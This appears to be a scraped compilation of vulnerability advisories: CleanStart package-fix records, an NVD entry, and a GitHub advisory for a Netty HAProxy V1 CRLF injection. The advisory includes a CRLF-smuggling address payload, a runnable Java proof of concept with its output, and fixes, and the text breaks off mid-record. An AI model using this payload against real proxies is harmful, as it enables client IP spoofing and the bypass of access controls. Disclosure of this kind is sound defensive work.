"details": "Package keycloak version 26.6.4-r2 fixes 4 vulnerabilities: ghsa-r7wm-3cxj-wff9, CVE-2026-55851, CVE-2026-59919, CVE-2026-55831",
"id": "CLEANSTART-2026-JZ16335",
"modified": "2026-09-04T12:17:57Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in keycloak 26.6.4-r2",
"upstream": [
"ghsa-r7wm-3cxj-wff9",
"CVE-2026-55851",
"CVE-2026-59919",
"CVE-2026-55831"
]
}
cleanstart-2026-qp89146
Vulnerability from cleanstart
Published
2026-09-10 03:06
Modified
2026-09-09 04:28
Summary
Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas
Details
Multiple security vulnerabilities affect the apache-hive package. Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas. See references for individual vulnerability details.
Severity
9.8 (Critical)
References
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-hive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.0-r7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the apache-hive package. Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-QP89146",
"modified": "2026-09-09T04:28:37Z",
"published": "2026-09-10T03:06:13.136582Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-QP89146.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-41242"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62728"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-22745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40563"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41603"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41720"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41848"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41850"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41851"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41852"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-43869"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50193"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-57914"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-8763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2r2c-cx56-8933"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-47qp-hqvx-6r3f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mhm7-754m-9p8w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33042"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41242"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62728"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12185"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40563"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41603"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41720"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41848"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41850"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41851"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41852"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43869"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45292"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50193"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55851"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57914"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59639"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59645"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59647"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59650"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59651"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59901"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59919"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8763"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas",
"upstream": [
"CVE-2025-33042",
"CVE-2025-41242",
"CVE-2025-55163",
"CVE-2025-59250",
"CVE-2025-62728",
"CVE-2026-12185",
"CVE-2026-22745",
"CVE-2026-40563",
"CVE-2026-41603",
"CVE-2026-41720",
"CVE-2026-41848",
"CVE-2026-41850",
"CVE-2026-41851",
"CVE-2026-41852",
"CVE-2026-43869",
"CVE-2026-45292",
"CVE-2026-49844",
"CVE-2026-50193",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-55851",
"CVE-2026-57914",
"CVE-2026-59639",
"CVE-2026-59642",
"CVE-2026-59645",
"CVE-2026-59647",
"CVE-2026-59650",
"CVE-2026-59651",
"CVE-2026-59889",
"CVE-2026-59901",
"CVE-2026-59919",
"CVE-2026-8763",
"ghsa-2r2c-cx56-8933",
"ghsa-47qp-hqvx-6r3f",
"ghsa-mhm7-754m-9p8w",
"ghsa-r7wm-3cxj-wff9"
]
}
cleanstart-2026-vq70387
Vulnerability from cleanstart
Published
2026-08-13 12:10
Modified
2026-09-04 12:17
Summary
Security fixes in hazelcast 5.7.0-r1
Details
Package hazelcast version 5.7.0-r1 fixes 107 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5gvw-p9qm-jgwh, ghsa-5jmj-h7xm-6q6v, ghsa-5hh8-q8hv-fr38...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "hazelcast"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.7.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.7.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package hazelcast version 5.7.0-r1 fixes 107 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5gvw-p9qm-jgwh, ghsa-5jmj-h7xm-6q6v, ghsa-5hh8-q8hv-fr38...",
"id": "CLEANSTART-2026-VQ70387",
"modified": "2026-09-04T12:17:57Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hazelcast/hazelcast"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in hazelcast 5.7.0-r1",
"upstream": [
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-cm33-6792-r9fm",
"ghsa-6jv9-x5w9-2ccm",
"ghsa-3244-j874-rhc2",
"ghsa-5w86-c3rq-vjj7",
"ghsa-6ghj-frrj-jjj3",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-c2gf-v879-257j",
"ghsa-563q-j3cm-6jxm",
"ghsa-vhch-2wf3-m8rp",
"ghsa-5xrh-qmmq-w6ch",
"ghsa-vx9q-rhv9-3jvg",
"CVE-2025-67721",
"ghsa-45q3-82m4-75jr",
"ghsa-4qhr-g3c6-fcfx",
"ghsa-jfg9-48mv-9qgx",
"ghsa-337m-mw94-2v6g",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-xmv7-r254-6q78",
"ghsa-hvw5-3mgw-7rcf",
"ghsa-r7wm-3cxj-wff9",
"ghsa-9fxm-vc8v-hj55",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"ghsa-mhm7-754m-9p8w",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59888",
"CVE-2026-59889",
"ghsa-xx22-p4ch-683r",
"CVE-2026-59949",
"ghsa-38f8-5428-x5cv",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-272m-gcwp-mpwg",
"ghsa-g7hg-vrcf-mvmr",
"ghsa-wc96-39fc-566f",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-c69g-56f8-xwqj",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-w573-9ffj-6ff9",
"ghsa-558v-64gr-wgg4",
"CVE-2026-42583",
"CVE-2026-59901",
"ghsa-v74w-7mr3-4qg3",
"ghsa-mfg7-5gfp-c4w3",
"CVE-2026-42579",
"ghsa-wh89-7897-x99h",
"CVE-2026-44893",
"CVE-2026-48059",
"ghsa-3g8r-4pfx-jmfh",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"CVE-2026-55851",
"CVE-2026-59919",
"CVE-2026-47244",
"CVE-2026-48043",
"CVE-2026-50560",
"CVE-2026-59900",
"CVE-2026-44248",
"CVE-2026-44250",
"CVE-2026-44890",
"CVE-2026-48006",
"CVE-2026-50011",
"CVE-2026-42586",
"CVE-2026-44891",
"CVE-2026-59920",
"CVE-2026-56817",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-56820",
"CVE-2026-56821",
"CVE-2026-56822",
"CVE-2026-45674",
"CVE-2026-47691",
"CVE-2026-45673",
"CVE-2026-45536"
]
}
FKIE_CVE-2026-59919
Vulnerability from fkie_nvd - Published: 2026-07-29 18:16 - Updated: 2026-08-06 20:33
Severity
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h | Exploit, Vendor Advisory |
{
"affected": [
{
"affectedData": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.1.136.Final"
},
{
"status": "affected",
"version": "\u003e= 4.2.0.Final, \u003c 4.2.16.Final"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "3A15093F-C6A7-4FCF-81BA-939CD522D1DD",
"versionEndExcluding": "4.1.136",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "4DE4BC35-4405-49B5-A2A8-A700C7F63C8B",
"versionEndExcluding": "4.2.16",
"versionStartIncluding": "4.2.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s HAProxy encoder (\u00a0HAProxyMessageEncoder\u00a0) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \u00a0\\r\\n\u00a0 sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final."
}
],
"id": "CVE-2026-59919",
"lastModified": "2026-08-06T20:33:28.940",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-59919",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T18:05:59.358522Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-29T18:16:56.610",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-93"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-WH89-7897-X99H
Vulnerability from github – Published: 2026-07-22 21:51 – Updated: 2026-07-22 21:51
VLAI
Summary
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Details
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-haproxy) |
| Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences |
| Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
io.netty.handler.codec.haproxy.HAProxyMessageEncoder—encodeV1()method (lines 63-77): writessourceAddressanddestinationAddressdirectly to output without CRLF validationio.netty.handler.codec.haproxy.HAProxyMessage— constructorcheckAddress()validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
out.writeBytes(TEXT_PREFIX); // "PROXY "
out.writeByte((byte) ' ');
out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
out.writeByte((byte) ' ');
out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
// ...
out.writeByte((byte) '\r');
out.writeByte((byte) '\n');
}
Root Cause — Insufficient Address Validation
// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
switch (addrFamily) {
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
}
return; // ONLY checks length <= 108, NO CRLF validation!
case AF_IPv4:
if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF
case AF_IPv6:
if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF
}
}
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses Netty's
HAProxyMessageEncoderto construct HAProxy V1 protocol headers - AF_UNIX (
UNIX_STREAMorUNIX_DGRAM) addresses contain user-controlled input - The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, // CRLF-injected source address
"/var/run/dest.sock",
0, 0);
Wire format sent to backend:
PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation:
- HAProxy: may use the first line and ignore the second
- Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1
- This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC {
public static void main(String[] args) {
System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
int proxyCount = 0;
for (String line : encoded.split("\r\n")) {
if (line.startsWith("PROXY")) proxyCount++;
}
System.out.println("PROXY lines: " + proxyCount);
System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AF_UNIX CRLF Injection PoC ===
[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
Wire format:
PROXY UNIX_STREAM /var/run/app.sock\r
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2
VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AF_UNIX Addresses for CRLF
// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
if (addrBytes.length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: too long");
}
for (byte b : addrBytes) {
if (b == '\r' || b == '\n') {
throw new IllegalArgumentException(
"AF_UNIX address contains prohibited CRLF character");
}
}
return;
Option 2: Validate in Encoder
// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
for (int i = 0; i < address.length(); i++) {
char c = address.charAt(i);
if (c == '\r' || c == '\n' || c == ' ') {
throw new HAProxyProtocolException(
"V1 address contains prohibited character at index " + i);
}
}
}
8. References
Severity
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59919"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:51:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` \u2014 `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` \u2014 constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty\u0027s HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause \u2014 Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n out.writeBytes(TEXT_PREFIX); // \"PROXY \"\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.sourceAddress(), US_ASCII); // \u003c-- NO CRLF CHECK\n out.writeByte((byte) \u0027 \u0027);\n out.writeCharSequence(msg.destinationAddress(), US_ASCII); // \u003c-- NO CRLF CHECK\n out.writeByte((byte) \u0027 \u0027);\n // ...\n out.writeByte((byte) \u0027\\r\u0027);\n out.writeByte((byte) \u0027\\n\u0027);\n}\n```\n\n### Root Cause \u2014 Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate 